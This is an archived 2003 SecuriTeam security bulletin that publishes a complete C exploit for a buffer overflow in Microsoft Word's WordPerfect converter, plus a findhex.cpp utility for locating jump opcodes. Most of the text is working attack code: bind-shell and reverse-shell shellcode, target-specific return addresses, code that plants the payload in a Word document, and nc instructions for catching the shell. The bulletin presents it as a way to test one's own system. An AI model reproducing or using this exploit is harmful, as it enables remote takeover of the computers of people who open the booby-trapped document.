

# [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0015.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/07/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 7 Sep 2003 10:59:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Exploit Code Released for WordPerfect Converter Vulnerability

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5KP0215B5K.html>> Buffer Overrun in WordPerfect Converter Could Allow Code Execution, a vulnerability in Word's WordPerfect converter allows attacker to cause Word to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/*  
/*  
/* Microsoft WordPerfect Document Converter Buffer Overflow */  
/* */  
/* Exploit with several targets */  
/* */  
/* Find your own return address with : */  
/* findhex dllname FF D4 (call esp) */  
/* findhex dllname FF E4 (jmp esp) */  
/* */
```

## Securiteam: [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

```
/* Credits : */
/* vulnerability : Yuji "The Ninja" Ukai */
/* findhex : Jason Jordan */
/* sk@scan-associates.net */
/* shellcode : www.metasploit.com */
/* exploit : valgasu - RstAck */
/* */
/*****/

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

/* eip offset for Word 2000 9.0.2812 */
#define EIP_OFFSET 1359

/* eip offset for Word 2000 9.0.4462 SR1 */
// #define EIP_OFFSET 1343

void usage(char *name)
{
    printf("\n-- --\n");
    printf("-- WordPerfect Document Converter Exploit --\n");
    printf("-- --\n");
    printf("Usage: %s <shell type> <template doc> <os> <port> [<ip>]\n\n",
name);
    printf("Shell type : 1 - Bind shell (need port)\n");
    printf(" 2 - Reverse shell (need ip and port)\n\n");
    printf("OS : 1 - Windows 2000 Pro SP3 French\n");
    printf(" 2 - Windows NT4 Workstation SP5 French\n");
    printf(" 3 - Windows NT4 Workstation SP6 French\n");

    exit(1);
}

int main(int argc, char *argv[])
{
    unsigned char bindshell[] =
"\x66\x81\xec\x80\x00\x89\xe6\xe8\x4b\x01\x00\x00\x89\x06\xff\x36"
"\x68\x8e\x4e\x0e\xec\xe8\x52\x01\x00\x00\x89\x46\x08\xff\x36\x68"
"\xad\xd9\x05\xce\xe8\x43\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00"
"\x00\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89"
"\x46\x04\xff\x36\x68\x72\xfe\xb3\x16\xe8\x1e\x01\x00\x00\x89\x46"
"\x10\xff\x36\x68\xef\xce\xe0\x60\xe8\x0f\x01\x00\x00\x89\x46\x14"
"\xff\x76\x04\x68\xcb\xed\xfc\x3b\xe8\xff\x00\x00\x00\x89\x46\x18"
"\xff\x76\x04\x68\xd9\x09\xf5\xad\xe8\xef\x00\x00\x00\x89\x46\x1c"
"\xff\x76\x04\x68\xa4\x1a\x70\xc7\xe8\xdf\x00\x00\x00\x89\x46\x20"
"\xff\x76\x04\x68\xa4\xad\x2e\xe9\xe8\xcf\x00\x00\x00\x89\x46\x24"
"\xff\x76\x04\x68\xe5\x49\x86\x49\xe8\xbf\x00\x00\x00\x89\x46\x28"
```

## Securiteam: [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

```
"\xff\x76\x04\x68\xe7\x79\xc6\x79\xe8\xaf\x00\x00\x00\x89\x46\x2c"  
"\x31\xff\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56"  
"\x18\x50\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x89\xc3\x57\x57"  
"\x68\x02\x00\x22\x11\x89\xe1\x68\x16\x00\x00\x00\x51\x53\xff\x56"  
"\x20\x57\x53\xff\x56\x24\x57\x51\x53\xff\x56\x28\x89\xc2\x68\x65"  
"\x78\x65\x00\x68\x63\x6d\x64\x2e\x89\x66\x30\x81\xc4\xac\xff\xff"  
"\xff\x8d\x3c\x24\x31\xc0\x31\xc9\x80\xc1\x15\xab\xe2\xfd\xc6\x44"  
"\x24\x10\x44\xfe\x44\x24\x3d\x89\x54\x24\x48\x89\x54\x24\x4c\x89"  
"\x54\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51"  
"\x51\xff\x76\x30\x51\xff\x56\x10\x89\xe1\x68\xff\xff\xff\xff"  
"\x31\x89\xc1\x57\xff\x56\x14\x56\x64\xa1\x30\x00\x00\x00\x8b\x40"  
"\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57"  
"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"  
"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"  
"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"  
"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"  
"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"  
"\x5b\xc2\x04\x00";
```

```
char revshell[] =
```

```
"\x66\x81\xec\x80\x00\x89\xe6\xe8\x10\x01\x00\x00\x89\x06\xff\x36"  
"\x68\x8e\x4e\x0e\xec\xe8\x17\x01\x00\x00\x89\x46\x08\xff\x36\x68"  
"\xad\xd9\x05\xce\xe8\x08\x01\x00\x00\x89\x46\x0c\x68\x6c\x6c\x00"  
"\x00\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x56\x08\x89"  
"\x46\x04\xff\x36\x68\x72\xfe\xb3\x16\xe8\xe3\x00\x00\x00\x89\x46"  
"\x10\xff\x36\x68\x7e\xd8\xe2\x73\xe8\xd4\x00\x00\x00\x89\x46\x14"  
"\xff\x76\x04\x68\xcb\xed\xfc\x3b\xe8\xc4\x00\x00\x00\x89\x46\x18"  
"\xff\x76\x04\x68\xd9\x09\xf5\xad\xe8\xb4\x00\x00\x00\x89\x46\x1c"  
"\xff\x76\x04\x68\xec\xf9\xaa\x60\xe8\xa4\x00\x00\x00\x89\x46\x20"  
"\x81\xec\x90\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x18\x50"  
"\x50\x50\x50\x40\x50\x40\x50\xff\x56\x1c\x89\xc3\xeb\x03\xff\x56"  
"\x14\x68\xc0\xa8\x00\xf7\x68\x02\x00\x22\x11\x89\xe1\x6a\x10\x51"  
"\x53\xff\x56\x20\x85\xc0\x75\xe6\x68\x63\x6d\x64\x00\x89\x66\x30"  
"\x81\xc4\xac\xff\xff\xff\x8d\x3c\x24\x31\xc0\x31\xc9\x80\xe9\xeb"  
"\xab\xe2\xfd\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x5c\x24\x48"  
"\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51"  
"\x51\x6a\x01\x51\x51\xff\x76\x30\x51\xff\x56\x10\x89\xe1\x68\xff"  
"\xff\xff\xff\xff\x31\xff\x56\x0c\x89\xc1\xeb\x92\x56\x64\xa1\x30"  
"\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04"  
"\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78"  
"\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b"  
"\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01"  
"\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b"  
"\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0"  
"\x89\xea\x5f\x5e\x5d\x5b\xc2\x04\x00";
```

```
FILE *docfile;  
unsigned short port;  
const char *eip;  
char targetos[255];  
int i;
```

## Securiteam: [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

```
int bshell;

if (argc <5) {
    usage(argv[0]);
}

printf("\n-- --\n");
printf("-- WordPerfect Document Converter Exploit --\n");
printf("-- --\n\n");

/* Shell type */
switch(atoi(argv[1])) {
    case 1 : printf("-- Shell type : bind shell\n");
            bshell = 1;
            break;

            case 2 : printf("-- Shell type : reverse shell\n");
                    bshell = 0;
                    break;

            default : printf("-- Shell type : unknown\n");
                    exit(1);
}

/* Open template file */
if( (docfile = fopen(argv[2], "r+b")) == NULL) {
    printf("-- Can't open file %s\n", argv[2]);

    exit(1);
}
else {
    printf("-- Template file : \"%s\"\n", argv[2]);
}

/* Customize shellcode */
port = htons(atoi(argv[4]));

if(bshell) {
    *(unsigned short *)&bindshell[227] = port;
    printf("-- Port : %d\n", atoi(argv[4]));
}
else {
    *(unsigned short *)&revshell[185] = port;
    printf("-- Port : %d\n", atoi(argv[4]));

    *(unsigned int *)&revshell[178] = inet_addr(argv[5]);
    printf("-- IP : %s\n", argv[5]);
}
}
```

## Securiteam: [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

```
/* Set the return address */
switch(atoi(argv[3])) {
    // Windows 2000 Pro SP3 – French
    case 1 : sprintf(targetos, "Windows 2000 Pro SP3 – French");
             eip = "\xA7\x88\xE2\x77";
             break;

    // Windows NT4 Workstation SP5 – French
    case 2 : sprintf(targetos, "Windows NT4 Workstation SP5 – French");
             eip = "\x10\x45\xEB\x77";
             break;

    // Windows NT4 Workstation SP6 – French
    case 3 : sprintf(targetos, "Windows NT4 Workstation SP6 – French");
             eip = "\x36\x28\xF3\x77";
             break;

    // Add your own return address here

    default : printf("--- Target OS : unknown\n");
              exit(1);
}

printf("--- Target OS : %s\n", targetos);

fseek(docfile, EIP_OFFSET, SEEK_SET);
fwrite(eip, sizeof(eip), 1, docfile);

// Put some nop
for (i=0;i<24;i++) {
    fseek(docfile, EIP_OFFSET + 4 + i, SEEK_SET);
    fwrite("\x90", sizeof(char), 1, docfile);
}

// Put our shellcode
fseek(docfile, EIP_OFFSET + 28, SEEK_SET);

if(bshell) {
    fwrite(bindshell, sizeof(bindshell), 1, docfile);
}
else {
    fwrite(revshell, sizeof(revshell), 1, docfile);
}

fclose(docfile);

printf("--- Status : template file modified\n");

if(bshell) {
    printf("--- After document execution : nc <ip> %d\n", atoi(argv[4]));
}
}
```

```

else {
    printf("-- Before document execution : nc -l -p %d\n", atoi(argv[4]));
}

return 0;
}

```

findhex.cpp:

```

// findhex.cpp : Defines the entry point for the console application.
//

```

```

#include "stdafx.h"
#include "findhex.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif

```

```

// The one and only application object

```

```

CWinApp theApp;

```

```

using namespace std;
int axtoi(char *hexStg) {
    int n = 0; // position in string
    int m = 0; // position in digit[] to shift
    int count; // loop index
    int intValue = 0; // integer value of hex string
    int digit[5]; // hold values to convert
    while (n < 4) {
        if (hexStg[n] == '\0')
            break;
        if (hexStg[n] > 0x29 && hexStg[n] < 0x40 ) //if 0 to 9
            digit[n] = hexStg[n] & 0x0f; //convert to int
        else if (hexStg[n] >= 'a' && hexStg[n] <= 'f') //if a to f
            digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int
        else if (hexStg[n] >= 'A' && hexStg[n] <= 'F') //if A to F
            digit[n] = (hexStg[n] & 0x0f) + 9; //convert to int
        else break;
        n++;
    }
    count = n;
    m = n - 1;
    n = 0;
    while(n < count) {
        // digit[n] is value of hex digit at position n
        // (m << 2) is the number of positions to shift
        // OR the bits into return value
        intValue = intValue | (digit[n] << (m << 2));
        m--; // adjust the position to set
        n++; // next digit to process
    }
    return (intValue);
}

```

```

}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    int nRetCode = 0;

    // initialize MFC and print and error on failure
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    {
        // TODO: change error code to suit your needs
        _tprintf(_T("Fatal Error: MFC initialization failed\n"));
        nRetCode = 1;
    }
    else
    {
        bool we_loaded_it = false;
        HINSTANCE h = NULL;
        h = GetModuleHandle(argv[1]);
        if(h==NULL)
        {
            h = LoadLibrary(argv[1]);
            if(h==NULL)
            {
                cout<<"Error Loading DLL: "<<argv[1]<<endl;
                return 1;
            }
            we_loaded_it = true;
        }
        //find wat?
        BYTE find[8];
        int ar;

        if(argc<2){
            printf("Usage: %s [dll] [hex] [hex] <hex> <hex>", argv[0]);
            exit(1);
        }
        for (ar=0; ar<argc-2; ar++){
            find[ar] = axtoi(argv[ar+2]);
        }
        cout<<endl;
        BYTE* ptr = (BYTE*)h;
        bool done = false;
        for(int y = 0; !done; y++)
        {
            try
            {
                int found=0;
                for(int pp = 0; pp < ar; pp++){
                    if(ptr[y+pp]!=find[pp])break;
                    found++;
                }
            }
        }
    }
}

```

Securiteam: [EXPL] Exploit Code Released for WordPerfect Converter Vulnerability

```
if (found==ar)
{
    int pos = (int)ptr + y;
    cout<<"Opcode found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
    cout<<"End of "<<argv[1]<<" Memory Reached"<<endl;
    done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
}
return nRetCode;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:valgasu@rstack.org> Valgasu.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.